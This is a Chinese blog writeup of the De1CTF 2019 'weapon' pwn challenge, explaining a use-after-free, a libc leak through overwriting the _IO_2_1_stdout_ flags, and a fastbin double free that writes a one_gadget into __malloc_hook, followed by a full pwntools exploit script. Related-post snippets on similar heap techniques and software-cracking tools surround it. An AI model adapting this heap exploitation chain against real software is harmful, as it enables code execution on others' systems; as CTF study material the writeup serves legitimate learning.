De1CTF Weapon(IO_2_1_stdout)

de1ctf_2019_weapon【buuctf刷题】【stdout泄露libc、fastbin attack】 阅读详情

1.保护机制

    [*] '/home/yzl/Documents/delta/weapon/pwn'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

2.漏洞分析

在这里插入图片描述
主要是一个uaf
难点主要在于没有输出函数,并且限制0< chunk size <=0x60。

3.漏洞利用

1) 伪造small chunk,free,fd、bk指针指向 libc

先构造一个0x20的bin 链表
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
再次malloc 0x18就能取得0x555555757100 处的chunk,这样我们就能将下面0x71的chunk 的size改为0xb1
在这里插入图片描述
再次free就能得到libc
在这里插入图片描述

2)修改 _IO_2_1_stdout_结构体 中的flag域,从而将libc泄露出来

libc地址用一下就好,把size改回0x70,把libc的\x78\x1b改为\xdd\x25,5dd是偏移,2是随便猜的,1/16的几率,多试几次就好
在这里插入图片描述
double free,控制_IO_2_1_stdout_结构体附近的内存,把flag改为0xfbad1800,至于为什么---->大佬这么说。但是我不知道为啥,并不能将_IO_write_base的最低位给修改了,但是不影响
在这里插入图片描述
然后会泄露出一坨东西,随便找一个libc地址然后就能得到libc_base
在这里插入图片描述
就它了

3) 向 _malloc_hook 写入one_gadget,getshell

double free,直接向__malloc_hook_写就好了

exp

from pwn import *
import LibcSearcher as ls 
context.log_level = 'debug'

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']


p = process('./pwn')
#p=remote('139.180.216.34',8888)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create(index, size, name, choise=0):
    if choise==0:
        p.sendlineafter('choice >> \n', '1')
        p.sendlineafter('wlecome input your size of weapon: ', str(size))
        p.sendlineafter('input index: ', str(index))
        if len(name) != size:
            name=name+'\n'
        p.sendafter('input your name:\n',name)
    else:
        p.sendlineafter('choice >> ', '1')
        p.sendlineafter('wlecome input your size of weapon: ', str(size))
        p.sendlineafter('input index: ', str(index))
        if len(name) != size:
            name=name+'\n'
        p.sendafter('input your name:',name)
    


def delete(index,choise=0):
    if choise==0:
        p.sendlineafter('choice >> \n', '2')
        p.sendlineafter('input idx :',str(index))
    else:
        p.sendlineafter('choice >> ', '2')
        p.sendlineafter('input idx :',str(index))

def rename(index,name,choise=0):
    if choise==0:
        p.sendlineafter('choice >> \n', '3')
        p.sendlineafter('input idx: ', str(index))
        p.sendlineafter('new content:\n', name)
    else:
        p.sendlineafter('choice >> ', '3')
        p.sendlineafter('input idx: ', str(index))
        p.sendlineafter('new content:', name)

create(1, 0x60, '1')
create(2, 0x60, '2')
create(3, 0x20,'a'*0x10+p64(0)+p64(0x21))#伪造0x20 chunk,达到修改chunk 6 的chunk head的目的
create(6, 0x60, '6')
create(4, 0x1, '4')
create(5, 0x1, '5')



create(8, 0x60, '8')
create(9, 0x60, '9')
create(7,0x50,'a')

#make fake chunk
delete(4)
delete(5)
delete(4)
delete(6)
create(7, 0x1, '\x00')
create(7, 0x1, '\x00')
create(4, 0x1, '\x00')

#get libc
create(4, 0x12, p64(0) + p64(0xb1))
delete(6)
rename(4, p64(0) + p64(0x71) + '\xdd\x25')
create(7, 0x60, 'a')

#leak libc
create(7, 0x60, 'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc_base = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)

print hex(libc_base + libc.symbols['__malloc_hook'])
malloc_hook=libc_base + libc.symbols['__malloc_hook']
offset=0xf1147
one_gadget=libc_base+offset

#change __malloc_hook to one_gadget
delete(8,1)
delete(9, 1)
delete(8, 1)

create(9, 0x60, '\x00',1)
create(9, 0x60, '\x00', 1)
rename(8, p64(malloc_hook -0x13), 1)
create(9, 0x60, '\x00', 1)

create(8, 0x60, 'a' * 3 + p64(one_gadget), 1)

p.sendlineafter('choice >> ', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(0x50))
p.sendlineafter('input index: ', str(1))
p.interactive()

https://hpasserby.me/post/8e1cd5dc.html#overlapping
https://bbs.pediy.com/thread-246966.htm

重学IO:利用_IO_2_1_stdout泄露libc 这几天做IO类的题,发现自己是真的菜,决定暂时放一放apple1的学习,重新学习一下IO流。 本篇源码还是glibc-2.35。 阅读详情

相关推荐

【八芒星计划】 劫持_IO_2_1_stdout_泄露libc

这一篇讲劫持_IO_2_1_stdout_泄露libc,应用在没有show的heap题里,首先申明,所有的都需要爆破,并且2.27由于tcache的存在使得2.27的劫持_IO_2_1_stdout_比2.23简单 文章目录CISCN2020 easyboxsmaj CISCN2020 easyboxs libc2.23 off by one+劫持_IO_2_1_stdout_ 有add和free add(0, 0x18, 'a') add(1, 0xf8, 'a') add(2, 0x68, 'a'

carol2358的博客 1443

De1ctf收获:用_IO_2_1_stdout_泄露libc地址 weapon的writeup

GitHub 例行公事 可以看出保护全开 进行分析 可以发现程序功能很简单 create delete rename create 限定大小最大只能是0x60 index只能是0-9但是是自个输入的 存在一个结构,struct[0] = size,struct[1] = ptr readn函数没有用\x00截断 delete 中间index的判断有问题,且存在uaf ren...

哒君的博客 1743

机器人开发路线

通过这个路线图,你可以在6个月内完成从原型到试产的全流程。建议初期采用敏捷开发模式,每两周迭代一个核心功能模块。在硬件集成遇到瓶颈时,推荐参考。

woody218的博客 745

de1ctf_2019_weapon

这题我多了一个换行搞了老久了服了还是tcl 思路 有uaf通过写IO来得到libc地址然后通过double free来拿到shell exp: #!/usr/bin/python2 from pwn import * p=0 def pwn(): global p #p=process('./de1ctf_2019_weapon') p=remote('node3.buuoj.cn',292...

doudoudedi 794

【CTFSHOW】web入门 黑盒测试

文章目录写在前面web380web381web382web383web384web385web386web387web388web389web390web391web392web393web394web395参考资料 写在前面 一直没搞过渗透,先学学黑盒测试吧 web380 进入题目发现是一个关于灯泡的悲伤故事,点进去,看到跳转到page_1.php页面。 我们访问page.php试试: 发现报错:$id.php,可以猜想需要传名称为id的参数,来访问id.php。我们访问page.php?id=1试试

7ruth0hn的博客 1897

边缘设备选型指南:从数据采集到AI推理,工业物联网硬件如何匹配你的需求?

本文提供了一份全面的工业物联网边缘设备选型指南,系统性地阐述了如何根据数据采集、协议兼容性、边缘AI推理算力及环境适应性等核心需求匹配硬件。文章深入剖析了从CPU/GPU/NPU选择到MQTT、Sparkplug B等工业协议支持的实战考量,并强调了软件生态与全生命周期成本的重要性,旨在帮助项目负责人在复杂场景中做出明智决策。

weixin_29168813的博客 88

De1CTF weapon 经验总结

第一次接触通过利用_IO_2_1_stdout_ 来泄露libc地址的题目,中间碰到不少问题,在这里记录一下 1.泄露libc 由于程序限制了创建的堆块大小为0x60 以内,所以无法同通过创建一个大小能放入unsortedbin中的堆块,但是可以通过伪造一个大小符合unsortedbin中的堆块来泄露libc地址 具体步骤: 1.创建五个大小为0x20堆块 编号依次为0-5, 之后一次释放chun...

qq_43189757的博客 903

记一次完整的RPG Maker MV游戏逆向过程(思路一)

了解RPG Maker MV的文件建构 上一篇文章,我们已经成功在PC上运行了游戏,那我们如何对游戏进行逆向呢? 首先要了解正常的RPG Maker MV制作的游戏应该具有哪些文件,以及他的结构 那如何了解他的结构呢,很简单,我们只需要用RPG Maker MV创建一个默认工程,来看看一个游戏的最简结构是怎么样的 创建新项目 项目创建完成 查看项目目录结构 是不是和之前解包出来的很像呢? 通...

Ciiiiiing的博客 1万+

【IO系列IO_2_1_stdout】de1ctf_2019_weapon

由于else if分支中使用的_IO_SYSSEEK函数第二个参数是 (fp->_IO_write_base - fp->_IO_read_end),而遇到的题目基本都是只能覆盖末尾修改_IO_write_base,所以要避免进入else if,所以要满足(fp->_flags & _IO_IS_APPENDING) == 1。由源码可知,puts函数是由_IO_puts函数实现的,_IO_puts函数又调用了_IO_sputn,我们接着跟。② 先判断n是否大于0,如果大于0则进入缓冲区处理,否则返回0;

QYbudong的博客 1116

SECS/GSM 测试工具 SecsExpress 的配置与实战应用

本文详细介绍了半导体设备通讯测试工具SecsExpress的配置与实战应用。作为专业的SECS/GSM协议调试工具,它能模拟Host与设备端进行双向测试,帮助工程师快速部署、验证通讯链路,并高效排查与RMS系统或真实设备间的联调问题,是提升半导体工厂设备集成与维护效率的利器。

yhn456789的博客 298

WRFDA如何读取风云四号A 星的GIIRS数据?

🏆本文收录于 《全栈 Bug 调优(实战版)》 专栏。专栏聚焦真实项目中的各类疑难 Bug,从成因剖析 → 排查路径 → 解决方案 → 预防优化全链路拆解,形成一套可复用、可沉淀的实战知识体系。无论你是初入职场的开发者,还是负责复杂项目的资深工程师,都可以在这里构建一套属于自己的「问题诊断与性能调优」方法论,助你稳步进阶、放大技术价值。

**My Coding Family** 1027

BUU_de1ctf_2019_weapon_无show_IO利用

stdout结构上方可以伪造0x70的chunk控制IO泄露libc、控制stdout的IO_FILE结构,修改其_flags为0xfbad1800,将后面三个read指针置空,将_IO_write_base处的第一个字节改为0x58,后面的_IO_write_ptr和_IO_write_end保持不变。之后当程序遇到puts函数时就会打印_IO_write_base到_IO_write_ptr之间的内容,按照上面步骤改动的话,我们泄露出的第一个libc地址是_IO_file_jumps。师傅。

qq_70452545的博客 252

微信小程序 - 解决微信支付报错 requestPayment:fail no permission 原因分析及排查处理(支付失败出错,无法唤起支付弹框面板,微信支付API报错请求付款:失败无权限)

微信小程序,微信支付,支付报错,errMsg: "requestPayment:fail no permission",支付失败,支付权限没问题,微信小程序支付报错,检查了appid正确依旧不行,微信小程序支付异常,苹果ios手机,安卓手机,开发者工具模拟器,最新解决教程,小程序wx.requestPayment报错/无响应,小程序支付 requestPaym,微信小程序认证,真机运行,小程序微信支付提示错误,微信小程序里使用微信支付错误提示,微信小程序支付异常,微信支付弹框拉不起来,小程序支付api,都检

🏆 前端领域优质创作者 1万+

DelCTF2019 weapon WP

保护 分析 程序一共只有三个操作:增、删、改。又是没有泄露,看来又是利用IO_FILE泄露内存了。 漏洞还是很明显的,在删除操作中没有将free掉的指针置NULL 并且编辑的时候没有检测指针的合法性,因此形成了UAF。 在添加操作中限制了分配的大小 利用 程序中多处存在scanf函数,根据前面的文章可以知道,scanf可以帮我们得到一块unsortbin的chunk,我们构造的攻击链如...

qq_41252520的博客 469

173、NPU的编译器开发:开源社区贡献指南

本文分享了在NPU编译器开源社区贡献的经验心得。作者通过实际案例(如卷积维度错误、NaN输出等)阐述了NPU编译器开发的特殊性:硬件迭代快、边界条件复杂、厂商代码不可全信。提出有价值的贡献应聚焦硬件适配测试、性能剖析工具和反模式文档三类内容。强调用实测数据沟通、主动承担维护责任、保持代码通用性等社区协作技巧,并建议通过RFC提前沟通、附硬件实测数据等方式提高PR通过率。最后指出,NPU编译器开发是与聪明人共同填坑的过程,鼓励开发者提交"有诚意的代码"而非完美代码。

m0_50546716的博客 35

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

de1ctf_2019_weapon (IO_FILE)

这道题的方法对于我来说有点陌生,堆操作之后利用IO_FILE的相关知识,记录一下,以后还会有更多对于 IO 的利用 保护机制全开,所以常规方法肯定没办法 分析程序: 这是主程序 menu函数 create函数 逻辑是输入申请大小,在输入index,然后就写入chunk 没有任何检查,比如申请过的index不能用之类的 最简洁的申请函数 delete函数 同样是简洁的释放函数,而且有 uaf 漏洞 rename函数 改写chunk内容,写入的时候貌似没有溢出,但是 uaf 能用在这上面 程序看似

BengDouLove的博客 1208

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

一道ctf pwn 的思路以及解法

一道ctf   pwn  的思路以及解法                                                                               -------TTL     前几天参加选拔,第一道pwn最后时候也没做出来,后来问了一下糖果,原来是脚本写错了。也怪前面的那到逆向re2。。就剩10分钟了,找到了pwn的漏洞,poc写错了。现在写

tiaotiaolong99234的博客 1万+

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

【八芒星计划】 _IO_2_1_stdout_和_IO_2_1_stdin_ 的任意地址读和任意地址写

文章目录前言一、GKCTF2020]Domo总结 前言 这篇记一下任意地址读和任意地址写 _IO_2_1_stdout_的任意地址读,_IO_write_base为读取的起始地址,_IO_write_ptr为读取的末地址,并且flag的值要得是0xfbad1800才能正常读取   _IO_2_1_stdin_的任意地址写跟_IO_2_1_stdout_的任意地址读类似,也是需要控制flag还有_IO_buf_base和_IO_buf_end。 这回除了flag、_IO_buf_base和_IO_b

carol2358的博客 1150

2019 De1CTF 逆向 pwn (持续更新)

这个比赛当时出来的时候 工作室的人 都说要做,, 结果 杂项 还有web 的学弟自闭了 然后当时因为自己配mips 的环境 然后也没有仔细看(感觉自己 肝不出来) 然后就把题目给下载了下来 然后这里是重新做一下题目, 逆向: Re_Sign 这个题目算是送分题目 重点在于动态调试 ,,我静态看的很懵, 一开始我输入的字符比较 单调(比如都是5) 然后 我一开始以为一开始的加...

qq_41071646的博客 1778

好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

前言 这道题是wiki上tcache attack部分的第二道例题,原题在wiki那个题包里,需要自己找一下,忘记在哪了。。。。。其实个人感觉这道题的考点并不是tcache attack,而是在于IO_FILE的利用。因为这道题与以往所见并不太相同,并没有输出函数,也就意味着无法通过往常的方式利用程序自身的输出函数进行泄露内存地址,所以这时候就需要利用IO_FILE的方式进行输出(我也是第一次遇到,肝了好几天)。这篇文章主要分为两个部分,前半部分主要讲解IO_FILE泄露libc的方式,后半部分是HITCO

hollk’s blog 7707

IO_vtable和IO_FILE结构

void attribute_hidden _IO_vtable_check (void) { #ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE ...

snowleopard_bin的博客 1041

hdu-5901-Count primes(求1~n内素数个数)

hdu-5901-Count primes(求1~n内素数个数)

Seeker 1120

RCTF-2015 TankGame

好久没有做过逆向题了 然后在攻防世界看到了这个题 感觉也很好玩 就下载玩了玩 游戏看起来有点简单 但是确实很恶心 emmmm 然后我找到了消息处理函数 我们这里跟进去看看这个函数是干啥的 看得出来这里 这里有一个filename 而且还异或加密了 我出于好奇 解密看了一下 竟然是flag.txt。。。 那么也就是说。。。。。。。 下面的就是flag。。。。 解密交上去来...

qq_41071646的博客 1252

DelCTF2019 Cplusplus WP

前言 错过了这场比赛,赛后补上。虽有WP可以参考,但是复现起来还是磕磕绊绊。我总不想去依赖wp,于是先自己去分析,一开始好多看不懂的代码,睡过去了,积极性受打击,遂搁置了一天。断断续续逆了3天,然后参考WP,终于弄懂了。 分析 程序无壳,用IDA分析。主要过程分为三步,每一步就是flag的一个组成部分。通过单步调试,可以知道flag的第一部分与第二部分用 @ 做分割,第二部分与第三部分用 #...

qq_41252520的博客 980

buuctf realloc _IO_2_1_stdout_泄露libc地址 32位格式化字符串 UAF diff SSH SCP jmp-rsp orw seccomp_tools

文章目录roarctf_2019_realloc_magic roarctf_2019_realloc_magic 贴几个链接: https://blog.youkuaiyun.com/weixin_44145820/article/details/105585889 https://blog.youkuaiyun.com/seaaseesa/article/details/105590591 https://blog.youkuaiyun.com/weixin_42151611/article/details/99228675 exp:

carol2358的博客 879
上一篇: 2015 plaidctf datastore(off by one)
下一篇: re 入门
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值